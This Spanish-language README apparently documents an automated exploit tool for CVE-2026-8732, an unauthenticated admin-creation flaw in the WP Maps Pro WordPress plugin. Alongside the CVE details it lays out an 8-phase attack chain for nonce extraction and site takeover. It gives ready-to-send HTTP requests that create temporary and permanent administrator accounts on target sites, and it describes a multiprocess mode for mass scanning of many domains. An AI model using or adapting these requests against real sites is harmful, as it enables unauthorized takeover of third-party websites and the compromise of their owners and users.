
Exploit automatizado de 8 fases para CVE-2026-8732, una escalada de privilegios no autenticada en WP Maps Pro ≤ 6.1.0. Usa multiprocessing y asyncio para escanear objetivos, extraer nonces y crear cuentas de administrador.
Automatización de Explotación en 8 Fases | Multiprocessing + Asyncio | Creación de Admin Verificada
El plugin de WordPress WP Maps Pro versión ≤ 6.1.0 tiene una vulnerabilidad de escalada de privilegios sin autenticación. Un atacante sin credenciales puede crear una cuenta de administrador y tomar el control total del sitio.
La vulnerabilidad se origina en la función "Temporary Access" diseñada para el equipo de soporte del proveedor FlipperCode, pero está expuesta al público sin la protección adecuada.
| Información | Detalle |
|---|---|
| CVE | CVE-2026-8732 |
| CVSS | 9.8 (CRÍTICA) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Plugin | WP Maps Pro (wp-google-map-gold) |
| Proveedor | FlipperCode |
| Versiones Afectadas | ≤ 6.1.0 |
| Versión Parcheada | 6.1.1 |
| Tipo | Autenticación Ausente para Función Crítica (CWE-306) |
| Impacto | Creación de admin sin autenticación → control total del sitio |
| Autor del PoC | XENON1337 |
┌──────────────────────────────────────────────────────────────┐
│ DEBILIDAD 1 — Endpoint Expuesto Sin Autenticación │
│ ▸ La acción AJAX se registra con wp_ajax_nopriv_ │
│ ▸ Cualquiera puede acceder sin iniciar sesión │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ DEBILIDAD 2 — Nonce Filtrado en Página Pública │
│ ▸ El objeto wpgmp_local.nonce se incrusta en cada página │
│ ▸ El atacante puede extraer el nonce del código fuente HTML│
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ DEBILIDAD 3 — Sin Verificación de Permisos │
│ ▸ La función callback solo verifica el nonce │
│ ▸ No hay current_user_can() — sin otra defensa │
└──────────────────────────────────────────────────────────────┘
┌─────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ FASE 1 │──▶│ FASE 2 │──▶│ FASE 3 │──▶│ FASE 4 │
│ RESOLVER│ │ VERIFICAR│ │ DETECTAR │ │ VERSIÓN │
│ HTTPS? │ │ WP │ │ PLUGIN │ │ ≤6.1.0? │
│ HTTP? │ │ wp-content│ │ wpgmp_ │ │ WAF? │
└─────────┘ └──────────┘ └──────────┘ └─────┬────┘
│ VULNERABLE
▼
┌──────────────────────────────────────────────────────────┐
│ FASE 5 — EXTRACCIÓN DE NONCE │
│ │
│ GRUPO A (API) GRUPO B (Contenido) GRUPO C │
│ ├─ M1: REST pages ├─ M4: Sitemap XML └─ M7: Slug │
│ ├─ M2: REST search ├─ M5: Enlaces homepage Brute │
│ └─ M3: rest_route └─ M6: feed RSS/Atom Force │
│ │
│ Objetivo: wpgmp_local.nonce = "fc-call-nonce" │
└──────────────────────────┬───────────────────────────────┘
│ NONCE ENCONTRADO
▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ FASE 6 │──▶│ FASE 7 │──▶│ FASE 8 │
│ EXPLOTAR │ │ VERIFICAR│ │ AÑADIR │
│ POST AJAX│ │ URL │ │ ADMIN │
│ nonce+ │ │ Mágica │ │ PERMANENTE│
│ check_ │ │ Cookie │ │ REST API │
│ temp=false│ │ login │ │ WP-Admin │
└──────────┘ └──────────┘ └──────────┘
│
▼
✅ ADMIN CREADO
Login: wp_xxxx / pass
Rol: administrator
| Fase | Nombre | Función | Solicitudes |
|---|---|---|---|
| 1 | Resolver | Elegir HTTPS/HTTP en paralelo | 1 |
| 2 | Verificar WP | Confirmar que el objetivo es WordPress | 0 |
| 3 | Detectar Plugin | Buscar indicadores de WP Maps en 3 capas | 0-4 |
| 4 | Versión + WAF | Leer readme.txt / CSS ?ver= + detectar WAF | 1 |
| 5 | Extracción de Nonce | 7 métodos de búsqueda en 3 grupos paralelos | 0-150 |
| 6 | Explotación | POST a admin-ajax.php → crear cuenta admin temporal | 1 |
| 7 | Verificación | Acceder a URL mágica → confirmar sesión admin | 2 |
| 8 | Añadir Admin | REST API (principal) + formulario WP-Admin (respaldo) | 4 |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=wpgmp_temp_access_ajax
nonce=<NONCE_EXTRAÍDO>
check_temp=false
Respuesta si es vulnerable:
{"url":"https://target.com/?wpgmp_access=abc123def456"}
Esta URL mágica otorga inicio de sesión automático como
fc_user_XXXXX(rol: administrator).
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json
{
"username": "wp_xxxxxxxx",
"email": "user@localhost",
"password": "Str0ng!Pass#2026",
"roles": ["administrator"]
}
POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded
user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1 <-- CLAVE: confirmar contraseña débil
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>
Punto clave:
pw_weak=1es obligatorio — WordPress rechaza contraseñas débiles sin este parámetro.
CVE-2026-8732.py
│
├── 📦 NonceFinder — Buscador de nonce con 7 métodos
│ ├── Grupo A (API): M1 REST pages, M2 REST search, M3 rest_route
│ ├── Grupo B (Contenido): M4 Sitemap, M5 Enlaces homepage, M6 feed RSS
│ └── Grupo C (Fuerza Bruta): M7 Slug brute force (30+ slugs comunes)
│
├── ⚔️ Exploiter — Motor de explotación de 8 fases
│ ├── resolve() → Fase 1: Selección de protocolo
│ ├── check_wp() → Fase 2: Verificación de WordPress
│ ├── detect_plugin() → Fase 3: Detección de plugin + nonce temprano
│ ├── detect_version() → Fase 4: Detección de versión + WAF
│ ├── exploit() → Fase 6: Explotación principal
│ ├── verify() → Fase 7: Verificación de inicio de sesión admin
│ └── add_admin() → Fase 8: Añadir admin permanente
│
├── 🔧 Worker Process — Procesos trabajadores multiproceso
│ ├── producer() → Leer dominio desde mp.Queue
│ └── consumer() (N) → Ejecutar escaneo en paralelo
│
└── 🖥️ Scanner — Interfaz de usuario
├── single() → Modo objetivo único (interactivo)
└── multi() → Modo multi-objetivo (masivo)